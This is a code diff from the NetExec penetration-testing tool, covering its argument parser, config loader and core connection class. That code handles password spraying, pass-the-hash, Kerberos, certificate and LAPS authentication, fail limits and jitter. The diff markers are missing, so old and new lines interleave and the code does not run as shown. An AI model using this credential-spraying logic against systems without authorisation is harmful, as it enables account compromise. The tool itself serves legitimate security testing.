parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display nxc version")
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
module_parser.add_argument(
"-o",
metavar="MODULE_OPTION",
nargs="+",
default=[],
dest="module_options",
help="module options",
)
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
module_parser.add_argument(
"--options",
dest="show_module_options",
action="store_true",
help="display module options",
)
module_parser.add_argument(
"--server",
choices={"http", "https"},
default="https",
help="use the selected server (default: https)",
)
module_parser.add_argument(
"--server-host",
type=str,
default="0.0.0.0",
metavar="HOST",
help="IP to bind the server to (default: 0.0.0.0)",
)
module_parser.add_argument(
"--server-port",
metavar="PORT",
type=int,
help="start the server on the specified port",
)
module_parser.add_argument(
"--connectback-host",
type=str,
metavar="CHOST",
help="IP for the remote system to connect back to (default: same as server-host)",
)
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument(
"target",
nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*",
type=str,
help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)",
)
std_parser.add_argument(
"-id",
metavar="CRED_ID",
nargs="+",
default=[],
type=str,
dest="cred_id",
help="database credential ID(s) to use for authentication",
)
std_parser.add_argument(
"-u",
metavar="USERNAME",
dest="username",
nargs="+",
default=[],
help="username(s) or file(s) containing usernames",
)
std_parser.add_argument(
"-p",
metavar="PASSWORD",
dest="password",
nargs="+",
default=[],
help="password(s) or file(s) containing passwords",
)
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
std_parser.add_argument(
"--use-kcache",
action="store_true",
help="Use Kerberos authentication from ccache file (KRB5CCNAME)",
)
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument(
"--aesKey",
metavar="AESKEY",
nargs="+",
help="AES key to use for Kerberos Authentication (128 or 256 bits)",
)
std_parser.add_argument(
"--kdcHost",
metavar="KDCHOST",
help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter",
)
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument(
"--gfail-limit",
metavar="LIMIT",
type=int,
help="max number of global failed login attempts",
)
fail_group.add_argument(
"--ufail-limit",
metavar="LIMIT",
type=int,
help="max number of failed login attempts per username",
)
fail_group.add_argument(
"--fail-limit",
metavar="LIMIT",
type=int,
help="max number of failed login attempts per host",
)
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols.keys():
try:
try:
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
except:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol}")
subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
except Exception as e:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
argcomplete.autocomplete(parser, always_complete_options=False)
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if args.version:
print(f"{VERSION} - {CODENAME}")
print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
sys.exit(1)
return args
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
if hasattr(args, "get_output_tries"):
args.get_output_tries = args.get_output_tries * 10
return args, [CODENAME, VERSION, COMMIT, DISTANCE]
def get_module_names():
"""Get module names without initializing them"""
modules = []
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
path_join(NXC_PATH, "modules"),
]
for path in modules_paths:
modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
return sorted(modules, key=str.casefold)
+12 -10
View File
@@ -1,8 +1,6 @@
# coding=utf-8
import os
from os.path import join as path_join
import configparser
from nxc.paths import nxc_PATH, DATA_PATH
from nxc.paths import DATA_PATH, CONFIG_PATH
from nxc.first_run import first_run_setup
from nxc.logger import nxc_logger
from ast import literal_eval
@@ -11,29 +9,33 @@ nxc_default_config = configparser.ConfigParser()
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
nxc_config = configparser.ConfigParser()
nxc_config.read(os.path.join(nxc_PATH, "nxc.conf"))
nxc_config.read(CONFIG_PATH)
if "nxc" not in nxc_config.sections():
first_run_setup()
nxc_config.read(os.path.join(nxc_PATH, "nxc.conf"))
nxc_config.read(CONFIG_PATH)
# Check if there are any missing options in the config file
for section in nxc_default_config.sections():
if not nxc_config.has_section(section):
nxc_logger.display(f"Adding missing section '{section}' to nxc.conf")
nxc_config.add_section(section)
with open(CONFIG_PATH, "w") as config_file:
nxc_config.write(config_file)
for option in nxc_default_config.options(section):
if not nxc_config.has_option(section, option):
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
nxc_config.set(section, option, nxc_default_config.get(section, option))
with open(path_join(nxc_PATH, "nxc.conf"), "w") as config_file:
with open(CONFIG_PATH, "w") as config_file:
nxc_config.write(config_file)
#!!! THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE !!!
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
nxc_workspace = nxc_config.get("nxc", "workspace", fallback="default")
pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
ignore_opsec = nxc_config.getboolean("nxc", "ignore_opsec", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
@@ -44,5 +46,5 @@ if len(host_info_colors) != 4:
# this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
def process_secret(text):
hidden = text[:reveal_chars_of_pwd]
return text if not audit_mode else hidden+audit_mode * 8
reveal = text[:reveal_chars_of_pwd]
return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)
+295 -150
View File
@@ -1,20 +1,25 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from datetime import datetime
import os
import random
import socket
from socket import AF_INET, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME
from socket import getaddrinfo
import sys
import contextlib
from os.path import isfile
from threading import BoundedSemaphore
from functools import wraps
from time import sleep
from ipaddress import ip_address
from dns import resolver, rdatatype
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
@@ -23,96 +28,181 @@ global_failed_logins = 0
user_failed_logins = {}
def gethost_addrinfo(hostname):
def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
result = {
"host": "",
"is_ipv6": False,
"is_link_local_ipv6": False
}
address_info = {"AF_INET6": "", "AF_INET": ""}
try:
for res in getaddrinfo( hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, socktype, proto, canonname, sa = res
host = canonname if ip_address(sa[0]).is_link_local else sa[0]
except socket.gaierror:
for res in getaddrinfo( hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, socktype, proto, canonname, sa = res
host = sa[0] if sa[0] else canonname
return host
if ip_address(target).version == 4:
address_info["AF_INET"] = target
else:
address_info["AF_INET6"] = target
except Exception:
# If the target is not an IP address, we need to resolve it
if not (dns_server or dns_tcp):
for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
address_info["AF_INET6"] = canonname
result["is_link_local_ipv6"] = True
else:
dnsresolver = resolver.Resolver()
dnsresolver.timeout = dns_timeout
dnsresolver.lifetime = dns_timeout
if dns_server:
dnsresolver.nameservers = [dns_server]
try:
answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET"] = answers_ipv4[0].address
except Exception:
pass
try:
answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET6"] = answers_ipv6[0].address
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
result["is_link_local_ipv6"] = True
except Exception:
pass
if not (address_info["AF_INET"] or address_info["AF_INET6"]):
raise Exception(f"The DNS query name does not exist: {target}")
# IPv4 preferred
if address_info["AF_INET"] and not force_ipv6:
result["host"] = address_info["AF_INET"]
else:
result["is_ipv6"] = True
result["host"] = address_info["AF_INET6"]
return result
def requires_admin(func):
def _decorator(self, *args, **kwargs):
if self.admin_privs is False:
return
if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
return func(self, *args, **kwargs)
return None
return func(self, *args, **kwargs)
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, timeout):
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding['wTowerId'] == 7:
if strBinding['aNetworkAddr'].find('[') >= 0:
binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[')
bindingPort = '[' + bindingPort
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding['aNetworkAddr']
bindingPort = ''
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1]
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition('.')[0]) >= 0:
stringBinding = 'ncacn_ip_tcp:%s%s' % (iInterface.get_target(), bindingPort)
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except:
except Exception as e:
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
class connection(object):
def __init__(self, args, db, host):
self.domain = None
class connection:
def __init__(self, args, db, target):
self.args = args
self.db = db
self.hostname = host
self.logger = nxc_logger
self.conn = None
self.admin_privs = False
# Authentication info
self.password = ""
self.username = ""
self.kerberos = True if self.args.kerberos or self.args.use_kcache or self.args.aesKey else False
self.kerberos = bool(self.args.kerberos or
self.args.use_kcache or
self.args.aesKey or
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
self.local_ip = None
self.logger = nxc_logger
try:
self.host = gethost_addrinfo(self.hostname)
if self.args.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={ 'True' if self.args.kerberos else 'False' }")
except Exception as e:
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
# Network info
self.domain = None
self.host = None # IP address of the target. If kerberos this is the hostname
self.hostname = target # Target info supplied by the user, may be an IP address or a hostname
self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified
self.kdcHost = self.args.kdcHost
self.port = self.args.port
self.local_ip = None
self.dns_server = self.args.dns_server
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(os.path.expanduser(NXC_PATH), "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
else:
return
if args.jitter:
jitter = args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
if self.kerberos:
self.host = self.hostname
value = random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
sleep(value)
self.logger.info(f"Socket info: host={self.host}, port={self.port}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except Exception as e:
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
# Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
finally:
self.logger.debug(f"Closing connection to: {target}")
with contextlib.suppress(Exception):
self.conn.close()
def resolver(self, target):
try:
return get_host_addr_info(
target=target,
force_ipv6=self.args.force_ipv6,
dns_server=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout
)
except Exception as e:
self.logger.info(f"Error resolving hostname {target}: {e}")
return None
@staticmethod
def proto_args(std_parser, module_parser):
@@ -130,55 +220,74 @@ class connection(object):
def create_conn_obj(self):
return
def disconnect(self):
return
def check_if_admin(self):
return
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
return
def plaintext_login(self, domain, username, password):
def plaintext_login(self, username, password):
return
def hash_login(self, domain, username, ntlm_hash):
return
def proto_flow(self):
self.logger.debug(f"Kicking off proto_flow")
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if self.create_conn_obj():
if not self.create_conn_obj():
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.debug("Created connection object")
self.enum_host_info()
if self.print_host_info():
# because of null session
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
for k, v in vars(self.args).items():
if hasattr(self, k) and hasattr(getattr(self, k), "__call__"):
if v is not False and v is not None:
self.logger.debug(f"Calling {k}()")
r = getattr(self, k)()
"""Calls all the methods specified by the command line arguments
Iterates over the attributes of an object (self.args)
For each attribute, it checks if the object (self) has an attribute with the same name and if that attribute is callable (i.e., a function)
If both conditions are met and the attribute value is not False or None,
it calls the function and logs a debug message
Parameters
----------
self (object): The instance of the class.
Returns
-------
None
"""
for attr, value in vars(self.args).items():
if hasattr(self, attr) and callable(getattr(self, attr)) and value is not False and value is not None:
self.logger.debug(f"Calling {attr}()")
getattr(self, attr)()
def call_modules(self):
for module in self.module:
"""Calls modules and performs various actions based on the module's attributes.
It iterates over the modules specified in the command line arguments.
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
"""
for module in self.modules:
self.logger.debug(f"Loading module {module.name} - {module}")
module_logger = NXCAdapter(
extra={
"module_name": module.name.upper(),
"host": self.host,
"port": self.args.port,
"port": self.port,
"hostname": self.hostname,
},
)
@@ -187,11 +296,6 @@ class connection(object):
context = Context(self.db, module_logger, self.args)
context.localip = self.local_ip
if hasattr(module, "on_request") or hasattr(module, "has_response"):
self.logger.debug(f"Module {module.name} has on_request or has_response methods")
self.server.connection = self
self.server.context.localip = self.local_ip
if hasattr(module, "on_login"):
self.logger.debug(f"Module {module.name} has on_login method")
module.on_login(context, self)
@@ -200,15 +304,10 @@ class connection(object):
self.logger.debug(f"Module {module.name} has on_admin_login method")
module.on_admin_login(context, self)
if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
self.logger.debug(f"Module {module.name} has on_shutdown method")
module.on_shutdown(context, self)
def inc_failed_login(self, username):
global global_failed_logins
global user_failed_logins
global global_failed_logins, user_failed_logins
if username not in user_failed_logins.keys():
if username not in user_failed_logins:
user_failed_logins[username] = 0
user_failed_logins[username] += 1
@@ -216,8 +315,7 @@ class connection(object):
self.failed_logins += 1
def over_fail_limit(self, username):
global global_failed_logins
global user_failed_logins
global global_failed_logins, user_failed_logins
if global_failed_logins == self.args.gfail_limit:
return True
@@ -225,53 +323,54 @@ class connection(object):
if self.failed_logins == self.args.fail_limit:
return True
if username in user_failed_logins.keys():
if self.args.ufail_limit == user_failed_logins[username]:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
return True
return False
def query_db_creds(self):
"""
Queries the database for credentials to be used for authentication.
"""Queries the database for credentials to be used for authentication.
Valid cred_id values are:
- a single cred_id
- a range specified with a dash (ex. 1-5)
- 'all' to select all credentials
:return: domain[], username[], owned[], secret[], cred_type[]
:return: domains[], usernames[], owned[], secrets[], cred_types[]
"""
domain = []
username = []
domains = []
usernames = []
owned = []
secret = []
cred_type = []
secrets = []
cred_types = []
creds = [] # list of tuples (cred_id, domain, username, secret, cred_type, pillaged_from) coming from the database
data = [] # Arbitrary data needed for the login, e.g. ssh_key
for cred_id in self.args.cred_id:
if isinstance(cred_id, str) and cred_id.lower() == 'all':
if cred_id.lower() == "all":
creds = self.db.get_credentials()
else:
if not self.db.get_credentials(filter_term=int(cred_id)):
self.logger.error('Invalid database credential ID {}!'.format(cred_id))
self.logger.error(f"Invalid database credential ID {cred_id}!")
continue
creds.extend(self.db.get_credentials(filter_term=int(cred_id)))
for cred in creds:
c_id, domain_single, username_single, secret_single, cred_type_single, pillaged_from = cred
domain.append(domain_single)
username.append(username_single)
c_id, domain, username, secret, cred_type, pillaged_from = cred
domains.append(domain)
usernames.append(username)
owned.append(False) # As these are likely valid we still want to test them if they are specified in the command line
secret.append(secret_single)
cred_type.append(cred_type_single)
secrets.append(secret)
cred_types.append(cred_type)
if len(secret) != len(data): data = [None] * len(secret)
return domain, username, owned, secret, cred_type, data
if len(secrets) != len(data):
data = [None] * len(secrets)
return domains, usernames, owned, secrets, cred_types, data
def parse_credentials(self):
"""
Parse credentials from the command line or from a file specified.
r"""Parse credentials from the command line or from a file specified.
Usernames can be specified with a domain (domain\\username) or without (username).
If the file contains domain\\username the domain specified will be overwritten by the one in the file.
@@ -286,12 +385,12 @@ class connection(object):
# Parse usernames
for user in self.args.username:
if isfile(user):
with open(user, 'r') as user_file:
with open(user) as user_file:
for line in user_file:
if "\\" in line:
if "\\" in line and len(line.split("\\")) == 2:
domain_single, username_single = line.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
username_single = line
domain.append(domain_single)
username.append(username_single.strip())
@@ -300,7 +399,7 @@ class connection(object):
if "\\" in user:
domain_single, username_single = user.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
username_single = user
domain.append(domain_single)
username.append(username_single)
@@ -310,42 +409,51 @@ class connection(object):
for password in self.args.password:
if isfile(password):
try:
with open(password, 'r', errors = ('ignore' if self.args.ignore_pw_decoding else 'strict')) as password_file:
with open(password, errors=("ignore" if self.args.ignore_pw_decoding else "strict")) as password_file:
for line in password_file:
secret.append(line.strip())
cred_type.append('plaintext')
cred_type.append("plaintext")
except UnicodeDecodeError as e:
self.logger.error(f"{type(e).__name__}: Could not decode password file. Make sure the file only contains UTF-8 characters.")
self.logger.error("You can ignore non UTF-8 characters with the option '--ignore-pw-decoding'")
exit(1)
sys.exit(1)
else:
secret.append(password)
cred_type.append('plaintext')
cred_type.append("plaintext")
# Parse NTLM-hashes
if hasattr(self.args, "hash") and self.args.hash:
for ntlm_hash in self.args.hash:
if isfile(ntlm_hash):
with open(ntlm_hash, 'r') as ntlm_hash_file:
for line in ntlm_hash_file:
secret.append(line.strip())
cred_type.append('hash')
with open(ntlm_hash) as ntlm_hash_file:
for i, line in enumerate(ntlm_hash_file):
line = line.strip()
if len(line) != 32 and len(line) != 65 and len(line) != 0:
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
continue
else:
secret.append(line)
cred_type.append("hash")
else:
secret.append(ntlm_hash)
cred_type.append('hash')
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0:
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
exit(1)
else:
secret.append(ntlm_hash)
cred_type.append("hash")
self.logger.debug(secret)
# Parse AES keys
if self.args.aesKey:
for aesKey in self.args.aesKey:
if isfile(aesKey):
with open(aesKey, 'r') as aesKey_file:
with open(aesKey) as aesKey_file:
for line in aesKey_file:
secret.append(line.strip())
cred_type.append('aesKey')
cred_type.append("aesKey")
else:
secret.append(aesKey)
cred_type.append('aesKey')
cred_type.append("aesKey")
# Allow trying multiple users with a single password
if len(username) > 1 and len(secret) == 1:
@@ -358,6 +466,8 @@ class connection(object):
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
"""
Try to login using the specified credentials and protocol.
With --jitter an authentication throttle can be applied.
Possible login methods are:
- plaintext (/kerberos)
- NTLM-hash (/kerberos)
@@ -367,31 +477,41 @@ class connection(object):
return False
if self.args.continue_on_success and owned:
return False
# Enforcing FQDN for SMB if not using local authentication. Related issues/PRs: #26, #28, #24, #38
if self.args.protocol == 'smb' and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and not (self.domain.upper() == self.hostname.upper()) :
self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain")
return False
if self.args.jitter:
jitter = self.args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
sleep(value)
with sem:
if cred_type == 'plaintext':
if self.args.kerberos:
return self.kerberos_login(domain, username, secret, '', '', self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocolls don't use domain for login
if cred_type == "plaintext":
if self.kerberos:
self.logger.debug("Trying to authenticate using Kerberos")
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
self.logger.debug("Trying to authenticate using plaintext with domain")
return self.plaintext_login(domain, username, secret)
elif self.args.protocol == 'ssh':
elif self.args.protocol == "ssh":
self.logger.debug("Trying to authenticate using plaintext over SSH")
return self.plaintext_login(username, secret, data)
else:
self.logger.debug("Trying to authenticate using plaintext")
return self.plaintext_login(username, secret)
elif cred_type == 'hash':
if self.args.kerberos:
return self.kerberos_login(domain, username, '', secret, '', self.kdcHost, False)
elif cred_type == "hash":
if self.kerberos:
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
return self.hash_login(domain, username, secret)
elif cred_type == 'aesKey':
return self.kerberos_login(domain, username, '', '', secret, self.kdcHost, False)
elif cred_type == "aesKey":
return self.kerberos_login(domain, username, "", "", secret, self.kdcHost, False)
def login(self):
"""
Try to login using the credentials specified in the command line or in the database.
"""Try to login using the credentials specified in the command line or in the database.
:return: True if the login was successful and "--continue-on-success" was not specified, False otherwise.
"""
@@ -423,6 +543,7 @@ class connection(object):
data.extend(parsed_data)
if self.args.use_kcache:
self.logger.debug("Trying to authenticate using Kerberos cache")
with sem:
username = self.args.username[0] if len(self.args.username) else ""
password = self.args.password[0] if len(self.args.password) else ""
@@ -430,6 +551,21 @@ class connection(object):
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
self.logger.debug("Trying to authenticate using Certificate pfx")
if not self.args.username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
return pfx_auth(self)
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
return False
if not self.args.no_bruteforce:
for secr_index, secr in enumerate(secret):
for user_index, user in enumerate(username):
@@ -449,3 +585,12 @@ class connection(object):
def mark_pwned(self):
return highlight(f"({pwned_label})" if self.admin_privs else "")
def load_modules(self):
self.logger.info(f"Loading modules for target: {self.host}")
loader = ModuleLoader(self.args, self.db, self.logger)
self.modules = []
for module_path in self.module_paths:
module = loader.init_module(module_path)
self.modules.append(module)
+4 -6
View File
@@ -1,9 +1,8 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import configparser
import os
from nxc.paths import NXC_PATH, CONFIG_PATH
class Context:
def __init__(self, db, logger, args):
@@ -11,11 +10,10 @@ class Context:
setattr(self, key, value)
self.db = db
self.log_folder_path = os.path.join(os.path.expanduser("~/.nxc"), "logs")
